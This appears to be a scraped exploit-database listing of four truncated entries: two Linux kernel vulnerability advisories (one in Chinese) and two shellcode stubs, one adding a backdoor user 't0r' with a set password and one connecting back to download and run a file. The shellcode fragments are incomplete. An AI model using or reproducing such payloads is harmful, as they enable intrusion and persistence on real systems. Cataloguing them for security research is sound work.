CVE-2024-26786

In the Linux kernel, the following vulnerability has been resolved: iommufd: Fix ioptaccesslistid overwrite bug Syzkaller reported the following WARNON: WARNING: CPU: 1 PID: 4738 at drivers/iommu/iommufd/iopagetable.c:1360 Call Trace: iommufdaccesschangeioas+0x2fe/0x4e0...

linux/x86-64 - add user with passwd (189 bytes)

;scadduser01.S ;Arch: x8664, Linux ; ;Author: 0o -- nullnull ; nu11.nu11 at yahoo.com ;Date: 2012-03-05 ; ;compile an executable: nasm -f elf64 scadduser.S ; ld -o scadduser scadduser.o ;compile an object: nasm -o scadduserobj scadduser.S ; ;Purpose: adds user "t0r" with password "Winner" to...

Linux Kernel locks_remove_flock()本地竞争条件漏洞

BUGTRAQ ID: 33237 CVECAN ID: CVE-2008-4307 Linux Kernel是开放源码操作系统Linux所使用的内核。 RHEL4/5内核处理POSIX锁定时fcntl调用可能与关闭相同文件描述符出现竞争，本地攻击者可以利用这个漏洞导致拒绝服务或获得权限提升。 fcntl以如下方式获得POSIX锁定： sysfcntl fget dofcntl fcntlsetlk fput if!count fput locksremoveflock fcntlsetlk调用可能阻塞很长时间，允许同一进程中的其他线程关闭文件描述符： sysclose filpclos...

linux/x86 connect back, download a file and execute 149 bytes

No description provided by source. / ;file download shellcode 149 bytes ; ;connect back, download a file and execute. ;modify the name of the file and the ip address first. ; ;militan ;Advanced Defense LabADL ; global start start: xor ecx,ecx mul ecx xor ebx,ebx cdq ;socket push eax push byte 0x1...